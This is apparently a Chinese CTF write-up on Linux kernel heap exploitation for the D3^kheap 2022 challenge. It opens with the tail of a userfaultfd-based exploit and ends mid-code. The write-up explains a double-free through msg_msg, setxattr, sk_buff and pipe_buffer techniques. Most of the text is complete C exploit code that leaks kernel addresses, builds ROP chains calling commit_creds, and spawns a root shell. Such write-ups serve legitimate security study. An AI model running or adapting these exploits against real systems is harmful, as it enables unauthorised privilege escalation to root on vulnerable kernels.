} void *hijack_func (void *args) { struct uffd_msg msg ; int fault_cnt = 0 ; long uffd; struct uffdio_copy uffdio_copy ; ssize_t nread; uffd = (long ) args; for (;;) { struct pollfd pollfd ; int nready; pollfd.fd = uffd; pollfd.events = POLLIN; nready = poll(&pollfd, 1 , -1 ); if (nready == -1 ) { err_msg("poll" ); } nread = read(uffd, &msg, sizeof (msg)); if (nread == 0 ) { err_msg("EOF on userfaultfd!\n" ); } if (nread == -1 ) { err_msg("read" ); } if (msg.event != UFFD_EVENT_PAGEFAULT) { err_msg("Unexpected event on userfaultfd\n" ); } swapgs_restore_regs_and_return_to_usermode += 0x10 ; pop_rdi_ret += kernel_offset; prepare_kernel_cred += kernel_offset; mov_rdi_rax_pop_rbp_ret += kernel_offset; commit_creds += kernel_offset; swapgs_restore_regs_and_return_to_usermode += kernel_offset; output_msg("Shut down all the seq_files" ); for (int i = 0 ; i < 100 ; i++) close(seq_fd_array[i]); output_msg("Begin to read(statfd, buf, 0x10) which will hijack program" ); __asm__( "mov r15, 0xdeadbeef;" "mov r14, 0xdeadbeef;" "mov r13, pop_rdi_ret;" "mov r12, 0;" "mov rbp, prepare_kernel_cred;" "mov rbx, mov_rdi_rax_pop_rbp_ret;" "mov r11, 0;" "mov r10, commit_creds;" "mov r9, swapgs_restore_regs_and_return_to_usermode;" "mov r8, 0xdeadbeef;" "mov rcx, 0xdeadbeef;" "mov rdx, 0x10;" "mov rsi, buf;" "mov rdi, seq_fd;" "xor rax, rax;" "syscall" ); get_root_shell(); uffdio_copy.src = (unsigned long long ) temp_page_for_stuck; uffdio_copy.dst = (unsigned long long ) msg.arg.pagefault.address & ~(0x1000 - 1 ); uffdio_copy.len = 0x1000 ; uffdio_copy.mode = 0 ; uffdio_copy.copy = 0 ; if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1 ) { err_msg("ioctl-UFFDIO_COPY" ); } return NULL ; } } void register_userfaultfd_for_thread_stucking (pthread_t *monitor_thread, void *buf, unsigned long len, void *(*handler)(void *)) { register_userfaultfd(monitor_thread, buf, len, handler); } int main () { char buf[0x100 ]; int shm_id; char *shm_addr; save_status(); bind_core(0 ); kstackfd = open("/proc/stack" , O_RDONLY); if (kstackfd < 0 ) err_msg("Fail to open /proc/stack" ); for (int i = 0 ; i < 100 ; i++) if ((seq_fd_array[i] = open("/proc/self/stat" , O_RDONLY)) < 0 ) err_msg("Fail to spray seq_operations" ); leak_kernel_page = mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffd_leak_thread, leak_kernel_page, PAGE_SIZE, leak_kernel_func); output_msg("Get a share memory object" ); shm_id = shmget(114514 , 0x1000 , SHM_R | SHM_W | IPC_CREAT); if (shm_id < 0 ) err_msg("shmget!" ); output_msg("Access object addr in process addr space" ); shm_addr = shmat(shm_id, NULL , 0 ); if (shm_addr < 0 ) err_msg("shmat!" ); output_msg("Cut off link with share memory(delete object)" ); if (shmdt(shm_addr) < 0 ) err_msg("shmdt!" ); output_msg("alloc first object from kmemcache & stuck it with userfaultfd" ); push_s(leak_kernel_page); output_msg("construct double free" ); double_free_page = mmap(NULL , PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffd_double_free, double_free_page, PAGE_SIZE, double_free_func); push_s(buf); pop_s(double_free_page); output_msg("hijack program with setxattr & userfaultfd" ); hijack_page = mmap(NULL , PAGE_SIZE * 2 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1 , 0 ); register_userfaultfd_for_thread_stucking(&uffd_hijack, hijack_page + PAGE_SIZE, PAGE_SIZE, hijack_func); *(size_t *)&hijack_page[PAGE_SIZE - 8 ] = add_rsp_0x1c8_pop_rbx_pop_r12_pop_r13_pop_r14_pop_r15_pop_rbp_ret + kernel_offset; seq_fd = open("/proc/self/stat" , O_RDONLY); setxattr("/exp" , "henry" , hijack_page - 8 + PAGE_SIZE, 0X20 , 0 ); return 0 ; }
例题 D3^kheap 2022 检查保护 1 2 3 4 5 6 7 CONFIG_STATIC_USERMODEHELPER=y CONFIG_STATIC_USERMODEHELPER_PATH="" CONFIG_SLUB=y CONFIG_SLAB_FREELIST_RANDOM=y CONFIG_SLAB_FREELIST_HARDENED=y CONFIG_HARDENED_USERCOPY=y
一些保护都开了,需要注意的是在开启 CONFIG_SLAB_FREELIST_HARDENED 保护时,不仅会对 object->next 指向下一个 object 地址进行一个简单的异或加密,不同于 glibc 中空闲堆块固定使用前 8 字节 的组织方式,在 slub 中空闲的 object 在其对应的 kmem_cache->offset 处存放下一个 free object 的指针 (开启了 hardened freelist 保护时该值为当前 object 与 下一个 object 地址再与一个 random 值总共三个值进行异或的结果)
对于较大的 object 而言,其 offset 通常会大于 msg_msg header 的大小,因此这有利于我们后面修复 msg_msg 结构体的指针,使其在 unlink 时不会触发 kernel_paic。
静态分析 ref_count 初始化为 1,导致后面可以连续两次 kfree。
alloc 一次 ref_count 为 2,然后就能对同一个 object 连续 free 两次。
动态分析 方法一:利用 setxattr 多次劫持 msg_msg
首先通过修改 msg_msg 的 m_ts (size)来实现越界读,泄露出下一个 msg_msg 结构体的内容,从而可以通过其 mlist 读出 msg_queue 位置。
1 2 3 4 5 6 7 ((struct msg_msg*) buf)->m_list.next = NULL ; ((struct msg_msg*) buf)->m_list.prev = NULL ; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 ; ((struct msg_msg*) buf)->next = next_msg_queue_addr-8 ; ((struct msg_msg*) buf)->security = NULL ; setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 );
改 ((struct msg_msg*) buf)->next = next_msg_queue_addr-8; 从而通过 msg_queue 泄露出上图 msg_msg 结构体位置,从而就可以根据固定偏移计算出我们 UAF obj 的 msg_msg 结构体。
构造 A->B->A 式 freelist 劫持结构体
因为题目中所给的结构体从 kmalloc-1k 中分配,刚好满足 pipe_buffer 的大小,因此可以通过 pipe_buffer 劫持 RIP(这道题没有开启 cg 保护)。
1 2 3 4 5 6 7 ((struct msg_msg*) buf)->m_list.next = next_msg_queue_addr; ((struct msg_msg*) buf)->m_list.prev = next_msg_queue_addr; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 1024 - 0x30 ; ((struct msg_msg*) buf)->next = NULL ; ((struct msg_msg*) buf)->security = NULL ; setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 );
((struct msg_msg*) buf)->m_list.next = next_msg_queue_addr; 让 next 和 prev 指向一个堆地址即可绕过 unlink。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ret = msgrcv(ms_qid[3 ], buf, 0x1000 - 0x30 , 0 , IPC_NOWAIT | MSG_NOERROR); if (ret < 0 ) err_msg("Fail msgrcv" ); ret = msgrcv(ms_qid[0 ], buf, 0x1000 - 0x30 , 0 , IPC_NOWAIT | MSG_NOERROR); if (ret < 0 ) err_msg("Fail msgrcv" ); pipe(pipe_fd); pipe(pipe_fd2); setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 ); close(pipe_fd[0 ]); close(pipe_fd[1 ]);
最终成功提权,由于这里没有使用堆喷,所以使得在越界读 msg_msg 结构体时,容易发生读不到的情况,因此成功概率比较一般。
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <linux/userfaultfd.h> #include <sys/types.h> #include <sys/msg.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/xattr.h> #include <sys/sem.h> #include <semaphore.h> #include <poll.h> #include <ctype.h> #include <stdint.h> #include <asm/ldt.h> #define SECONDARY_STARTUP_64 0xffffffff81000030 #ifndef MSG_COPY #define MSG_COPY 040000 #endif void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); output_msg("Process binded to core" ); } void get_root_shell () { output_msg("back from kernelspace" ); if (!getuid()) { output_msg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else err_msg("FAIL TO GET ROOT" ); } void print_binary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } typedef struct { long mtype; char mtext[1 ]; }msg; struct list_head { struct list_head *next , *prev ; }; struct msg_msg { struct list_head m_list ; long m_type; size_t m_ts; struct msg_msgseg *next ; void *security; }; int d3kheap_fd;void alloc () { ioctl(d3kheap_fd, 0x1234 ); } void delete () { ioctl(d3kheap_fd, 0xDEAD ); } size_t msg_msg_addr = 0xdeadbeef ;size_t next_msg_msg_addr = 0xdeadbeef ;size_t next_msg_queue_addr = 0xdeadbeef ;size_t kernel_addr = 0xdeadbeef ;size_t kernel_offset = 0xdeadbeef ;size_t kernel_base = 0xffffffff81000000 ;size_t pop_rdi_ret = 0xffffffff810938f0 ;size_t init_cred = 0xffffffff82c6d580 ;size_t commit_creds = 0xffffffff810d25c0 ;size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0 ;size_t push_rsi_pop_rsp_pop_four_ret = 0xffffffff812dbede ;int main () { int ret; size_t *buf; int msg_flag = 2 ; int pipe_fd[2 ], pipe_fd2[2 ]; int ms_qid[0x100 ]; save_status(); bind_core(0 ); buf = malloc (0x4000 ); memset (buf, 0 , 0x4000 ); d3kheap_fd = open("/dev/d3kheap" , O_RDONLY); if (d3kheap_fd < 0 ) err_msg("Fail to open d3kheap" ); output_msg("Construct UAF" ); alloc(); for (int i = 0 ; i < 5 ; i++){ ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (ms_qid[i] < 0 ) err_msg("Fail msgget" ); } delete(); for (int i = 0 ; i < 5 ; i++){ memset (buf, 'a' + i, 0x1000 ); ret = msgsnd(ms_qid[i], buf, 1024 - 0x30 , 0 ); if (ret < 0 ) err_msg("Fail msgsnd" ); } delete(); memset (buf, 'Z' , 0x1000 -8 ); ((struct msg_msg*) buf)->m_list.next = NULL ; ((struct msg_msg*) buf)->m_list.prev = NULL ; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30 ; ((struct msg_msg*) buf)->next = NULL ; ((struct msg_msg*) buf)->security = NULL ; setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 ); output_msg("read over msg_msg struct" ); ret = msgrcv(ms_qid[0 ], buf, 0x1000 - 0x30 , 0 , IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0 ) err_msg("Fail msgrcv" ); print_binary(buf, 0x800 ); for (int i = 0 ; i < (0x1000 / 8 ); i++){ if ((buf[i] & 0xfffff00000000000 ) == 0xffff800000000000 && next_msg_queue_addr == 0xdeadbeef ){ next_msg_queue_addr = buf[i]; print_addr("next_msg_queue_addr" , next_msg_queue_addr); if (i < 130 ) msg_flag = 1 ; } if (next_msg_queue_addr != 0xdeadbeef ) break ; } memset (buf, 'Z' , 0x1000 -8 ); ((struct msg_msg*) buf)->m_list.next = NULL ; ((struct msg_msg*) buf)->m_list.prev = NULL ; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 ; ((struct msg_msg*) buf)->next = next_msg_queue_addr-8 ; ((struct msg_msg*) buf)->security = NULL ; setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 ); memset (buf, 'Z' , 0x2000 ); ret = msgrcv(ms_qid[0 ], buf, 0x2000 - 0x30 , 0 , IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0 ) err_msg("Fail msgrcv" ); output_msg("===================================" ); print_binary(&buf[(0x1000 - 0x30 )/8 + 1 ], 0x200 ); next_msg_msg_addr = buf[(0x1000 - 0x30 )/8 + 1 ]; msg_msg_addr = next_msg_msg_addr - 0x400 * msg_flag; print_addr("msg_msg_addr" , msg_msg_addr); print_addr("next_msg_msg_addr" , next_msg_msg_addr); for (int i = (0x1000 -0x30 )/8 ; i < (0x2000 / 8 ); i++){ if ((buf[i] & 0xffffffff00000000 ) == 0xffffffff00000000 && kernel_offset == 0xdeadbeef ){ kernel_addr = buf[i]; kernel_offset = kernel_addr - 0xffffffff817894f0 ; kernel_base = kernel_base + kernel_offset; print_addr("kernel_addr" , kernel_addr); print_addr("kernel_offset" , kernel_offset); print_addr("kernel_base" , kernel_base); } if (kernel_offset != 0xdeadbeef ) break ; } memset (buf, 'Z' , 0x1000 -8 ); ((struct msg_msg*) buf)->m_list.next = next_msg_queue_addr; ((struct msg_msg*) buf)->m_list.prev = next_msg_queue_addr; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 1024 - 0x30 ; ((struct msg_msg*) buf)->next = NULL ; ((struct msg_msg*) buf)->security = NULL ; setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 ); ret = msgrcv(ms_qid[3 ], buf, 0x1000 - 0x30 , 0 , IPC_NOWAIT | MSG_NOERROR); if (ret < 0 ) err_msg("Fail msgrcv" ); ret = msgrcv(ms_qid[0 ], buf, 0x1000 - 0x30 , 0 , IPC_NOWAIT | MSG_NOERROR); if (ret < 0 ) err_msg("Fail msgrcv" ); pipe(pipe_fd); pipe(pipe_fd2); memset (buf, 'Z' , 0x1000 -8 ); size_t pipe_buffer_addr = msg_msg_addr; int i = 0 ; buf[i++] = *(size_t *)"henry" ; buf[i++] = *(size_t *)"henry" ; buf[i++] = pipe_buffer_addr + 0x10 ; buf[i++] = push_rsi_pop_rsp_pop_four_ret + kernel_offset; buf[i++] = pop_rdi_ret + kernel_offset; buf[i++] = init_cred + kernel_offset; buf[i++] = commit_creds + kernel_offset; buf[i++] = swapgs_restore_regs_and_return_to_usermode + 0x16 + kernel_offset; buf[i++] = 0 ; buf[i++] = 0 ; buf[i++] = get_root_shell; buf[i++] = user_cs; buf[i++] = user_rflags; buf[i++] = user_sp; buf[i++] = user_ss; setxattr("/home/ctf/exp" , "henry" , buf, 1024 - 0x30 , 0 ); close(pipe_fd[0 ]); close(pipe_fd[1 ]); return 0 ; }
方法二:msg_msg + sk_buff 堆喷 Step.1 堆喷 msg_msg 结构体,建立主从消息队列
向同一个 msg_queue 发送多个消息时,消息队列情况如下图所示:
堆喷多个消息队列,并分别在每一个消息队列上发送两条消息,形成如下内存布局,这里为了便利后续利用,第一条消息(主消息)的大小为 96,第二条消息(辅助消息)的大小为 0x400:
Step.II 构造 UAF,堆喷 sk_buff 定位 victim 队列
利用题目的功能将辅助消息释放掉,便能成功完成 UAF 的构建,此时仍能通过其中一个消息队列访问到该辅助消息对应 object,但实际上这个 object 已经在 freelist 上了
但此时我们无法得知是哪一个消息队列命中了 UAF object,这个时候我们选用 sk_buff
堆喷劫持该结构体
类似于 msg_msg
,其同样可以提供近乎任意大小对象的分配写入与释放,但不同的是 msg_msg
由一个 header 加上用户数据组成,而 sk_buff
本身不包含任何用户数据,用户数据单独存放在一个 object 当中,而 sk_buff 中存放指向用户数据的指针
这个结构体的分配与释放也是十分简单,sk_buff 在内核网络协议栈中代表一个「包」, 我们不难想到的是我们只需要创建一对 socket,在上面发送与接收数据包就能完成 sk_buff 的分配与释放 ,最简单的办法便是用 socketpair 系统调用创建一对 socket,之后对其 read & write 便能完成收发包的工作
利用 sk_buff
堆喷向这个 UAF object 中可以随便写入一些内容,之后使用 MSG_COPY
flag 进行消息拷贝时便会失败,但不会 kernel panic,因此可以通过判断是否读取消息失败来定位命中 UAF 的消息队列
Step.III 堆喷 sk_buff 伪造辅助消息,泄露 UAF obj 地址
首先考虑如何通过伪造 msg_msg
结构体完成信息泄露,不难想到的是可以伪造一个 msg_msg
结构体,将其 m_ts
域设为一个较大值,从而越界读取到相邻辅助消息(next_secondary_msg)的 header,泄露出堆上地址
该辅助消息的 prev 指针指向其主消息,而该辅助消息的 next 指针指向该消息队列的 msg_queue
结构,这是目前我们已知的两个“堆上地址”
接下来我们伪造 msg_msg->next
,将其指向的 UAF object 相邻的辅助消息对应的主消息头部往前,从而读出该主消息的头部,泄露出对应的辅助消息的地址 ,有了这个辅助消息的地址,再减去 0x400 便是的 UAF 对象的地址
注意事项 :主消息往前的字节是前一个主消息的内容,所以为使 msg_msgseg->next 指针为 null,前面在设置主消息内容时,直接设置为 0 即可。
Step.IV 堆喷 pipe_buffer
,泄露内核基址
在 pipe_buffer
中存在一个函数表成员 pipe_buf_operations
,其指向内核中的函数表 anon_pipe_buf_ops
,若能够将其读出,便能泄露出内核基址,操作如下:
利用 sk_buff
修复辅助消息,之后从消息队列中接收该辅助消息(释放 uaf obj),此时该 object 重回 slub 中,但 sk_buff
仍指向该 object
喷射 pipe_buffer
,之后再接收 sk_buff
数据包,我们便能读出 pipe_buffer 上数据,泄露内核基址
Step.V 伪造 pipe_buffer,构造 ROP,劫持 RIP,完成提权
当关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release
这一指针,而 UAF object 的地址对我们而言是已知的,因此我们可以直接利用 sk_buff 在 UAF object 上伪造函数表与构造 ROP chain,再选一条足够合适的 gadget 完成栈迁移便能劫持 RIP 完成提权
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <pthread.h> #include <linux/userfaultfd.h> #include <sys/types.h> #include <sys/msg.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sys/xattr.h> #include <sys/sem.h> #include <sys/socket.h> #include <semaphore.h> #include <ctype.h> #include <stdint.h> #include <asm/ldt.h> #define SECONDARY_STARTUP_64 0xffffffff81000030 #ifndef MSG_COPY #define MSG_COPY 040000 #endif #define SOCKET_NUM 8 #define SK_BUFF_NUM 128 #define MSG_SPRAY_NUM 0x100 #define PRIMARY_MSG_TYPE 0x41 #define SECONDARY_MSG_TYPE 0x42 void err_msg (char *msg) { printf ("\033[31m\033[1m[!] %s \033[0m\n" ,msg); exit (0 ); } void output_msg (char *msg) { printf ("\033[34m\033[1m[+] %s \033[0m\n" ,msg); } void print_addr (char *msg, size_t value) { printf ("\033[35m\033[1m[*] %s == %p\033[0m\n" ,msg,(size_t *)value); } size_t user_cs,user_ss,user_sp,user_rflags;void save_status () { __asm__( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts ("\033[32m\033[1m[+] status has been saved!\033[0m" ); } void bind_core (int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof (cpu_set), &cpu_set); output_msg("Process binded to core" ); } void get_root_shell () { output_msg("back from kernelspace" ); if (!getuid()) { output_msg("SUCCESSFUL GET ROOT by henry!" ); system("/bin/sh" ); } else err_msg("FAIL TO GET ROOT" ); } void print_binary (void *addr, int len) { size_t *buf64 = (size_t *) addr; char *buf8 = (char *) addr; for (int i = 0 ; i < len / 8 ; i += 2 ) { printf (" %04x" , i * 8 ); for (int j = 0 ; j < 2 ; j++) { i + j < len / 8 ? printf (" 0x%016lx" , buf64[i + j]) : printf (" " ); } printf (" " ); for (int j = 0 ; j < 16 && j + i * 8 < len; j++) { printf ("%c" , isprint (buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.' ); } puts ("" ); } } typedef struct { long mtype; char mtext[1 ]; }msg; struct list_head { struct list_head *next , *prev ; }; struct msg_msg { struct list_head m_list ; long m_type; size_t m_ts; struct msg_msgseg *next ; void *security; }; int sk_sockets[SOCKET_NUM][2 ];int initSocketArray (int sk_socket[SOCKET_NUM][2 ]) { for (int i = 0 ; i < SOCKET_NUM; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0 , sk_socket[i]) < 0 ) { printf ("[x] failed to create no.%d socket pair!\n" , i); return -1 ; } } return 0 ; } int spraySkBuff (int sk_socket[SOCKET_NUM][2 ], void *buf, size_t size) { for (int i = 0 ; i < SOCKET_NUM; i++) { for (int j = 0 ; j < SK_BUFF_NUM; j++) { if (write(sk_socket[i][0 ], buf, size) < 0 ) { printf ("[x] failed to spray %d sk_buff for %d socket!" , j, i); return -1 ; } } } return 0 ; } int freeSkBuff (int sk_socket[SOCKET_NUM][2 ], void *buf, size_t size) { for (int i = 0 ; i < SOCKET_NUM; i++) { for (int j = 0 ; j < SK_BUFF_NUM; j++) { if (read(sk_socket[i][1 ], buf, size) < 0 ) { puts ("[x] failed to received sk_buff!" ); return -1 ; } } } return 0 ; } int d3kheap_fd;void alloc () { ioctl(d3kheap_fd, 0x1234 ); } void delete () { ioctl(d3kheap_fd, 0xDEAD ); } size_t msg_msg_addr = 0xdeadbeef ;size_t next_primary_msg = 0xdeadbeef ;size_t next_secondary_msg = 0xdeadbeef ;size_t pipe_buffer_ops;size_t kernel_offset = 0xdeadbeef ;size_t kernel_base = 0xffffffff81000000 ;size_t pop_rdi_ret = 0xffffffff810938f0 ;size_t init_cred = 0xffffffff82c6d580 ;size_t commit_creds = 0xffffffff810d25c0 ;size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0 ;size_t push_rsi_pop_rsp_pop_four_ret = 0xffffffff812dbede ;int main () { int ret; size_t *buf; int msg_flag = 2 ; int uaf_idx = -1 ; int pipe_fd[MSG_SPRAY_NUM][2 ]; int ms_qid[0x100 ]; initSocketArray(sk_sockets); save_status(); bind_core(0 ); buf = malloc (0x4000 ); memset (buf, 0 , 0x4000 ); d3kheap_fd = open("/dev/d3kheap" , O_RDONLY); if (d3kheap_fd < 0 ) err_msg("Fail to open d3kheap" ); output_msg("Spray msg_msg struct ... " ); for (int i = 0 ; i < MSG_SPRAY_NUM; i++){ ms_qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT); if (ms_qid[i] < 0 ) err_msg("Fail msgget" ); } for (int i = 0 ; i < MSG_SPRAY_NUM / 2 ; i++){ memset (buf, 0 , 0x1000 ); buf[0 ] = 0xdeadbeef ; buf[1 ] = i; ret = msgsnd(ms_qid[i], buf, 0x60 - 0x30 , PRIMARY_MSG_TYPE); if (ret < 0 ) err_msg("Fail msgsnd" ); ret = msgsnd(ms_qid[i], buf, 1024 - 0x30 , SECONDARY_MSG_TYPE); if (ret < 0 ) err_msg("Fail msgsnd" ); } output_msg("Rlease UAF obj and secondary msg will recall it immediately" ); alloc(); delete(); for (int i = MSG_SPRAY_NUM / 2 ; i < MSG_SPRAY_NUM; i++){ memset (buf, 0 , 0x1000 ); buf[0 ] = 0xdeadbeef ; buf[1 ] = i; ret = msgsnd(ms_qid[i], buf, 0x60 - 0x30 , PRIMARY_MSG_TYPE); if (ret < 0 ) err_msg("Fail msgsnd" ); ret = msgsnd(ms_qid[i], buf, 1024 - 0x30 , SECONDARY_MSG_TYPE); if (ret < 0 ) err_msg("Fail msgsnd" ); } memset (buf, 'A' , 0x1000 ); delete(); output_msg("Spray SkBuff ..." ); spraySkBuff(sk_sockets, buf, 0x400 - 0x140 ); for (int i = 0 ; i < MSG_SPRAY_NUM; i++){ memset (buf, 'Z' , 0x1000 ); ret = msgrcv(ms_qid[i], buf, 0x400 - 30 , 1 , IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0 ){ uaf_idx = i; printf ("You got UAF obj and its idx is %d \n" , i); break ; } } if (uaf_idx == -1 ) err_msg("Fail to find uaf obj" ); freeSkBuff(sk_sockets, buf, 0x400 - 0x140 ); memset (buf, 'Z' , 0x1000 -8 ); ((struct msg_msg*) buf)->m_list.next = NULL ; ((struct msg_msg*) buf)->m_list.prev = NULL ; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 0x1000 - 0x30 ; ((struct msg_msg*) buf)->next = NULL ; ((struct msg_msg*) buf)->security = NULL ; spraySkBuff(sk_sockets, buf, 0x400 - 0x140 ); memset (buf, 'B' , 0x1000 - 8 ); ret = msgrcv(ms_qid[uaf_idx], buf, 0x1000 - 0x30 , 1 , IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0 ){ output_msg("Fail msgrcv" ); } printf ("==============next_primary_msg===============\n" ); print_binary(&buf[(0x400 -0x30 )/8 ], 0x20 ); for (int i = 0 ; i < 0x1000 / 8 ; i++){ if ((buf[i] & 0xfffff00000000000 ) == 0xffff800000000000 && next_primary_msg == 0xdeadbeef ){ next_primary_msg = buf[i+1 ]; print_addr("next_primary_msg" , next_primary_msg); break ; } } freeSkBuff(sk_sockets, buf, 0x400 - 0x140 ); memset (buf, 'Z' , 0x1000 -8 ); ((struct msg_msg*) buf)->m_list.next = NULL ; ((struct msg_msg*) buf)->m_list.prev = NULL ; ((struct msg_msg*) buf)->m_type = NULL ; ((struct msg_msg*) buf)->m_ts = 0x2000 - 0x30 ; ((struct msg_msg*) buf)->next = next_primary_msg-8 ; ((struct msg_msg*) buf)->security = NULL ; spraySkBuff(sk_sockets, buf, 0x400 - 0x140 ); memset (buf, 'B' , 0x2000 ); ret = msgrcv(ms_qid[uaf_idx], buf, 0x2000 - 0x30 , 1 , IPC_NOWAIT | MSG_NOERROR | MSG_COPY); if (ret < 0 ){ output_msg("Fail msgrcv" ); } next_secondary_msg = buf[(0x1000 -0x30 )/8 + 1 ]; msg_msg_addr = next_secondary_msg - 0x400 ; printf ("==============next_secondary_msg===============\n" ); print_binary(&buf[(0x1000 -0x30 )/8 ], 0x20 ); print_addr("next_secondary_msg" , next_secondary_msg); print_addr("msg_msg_addr" , msg_msg_addr); output_msg("here you go" ); freeSkBuff(sk_sockets, buf, 0x400 - 0x140 ); memset (buf, 'Z' , 0x1000 -8 ); ((struct msg_msg*) buf)->m_list.next = next_primary_msg; ((struct msg_msg*) buf)->m_list.prev = next_primary_msg; ((struct msg_msg*) buf)->m_type = 666 ; ((struct msg_msg*) buf)->m_ts = 1024 - 0x30 ; ((struct msg_msg*) buf)->next = NULL ; ((struct msg_msg*) buf)->security = NULL ; spraySkBuff(sk_sockets, 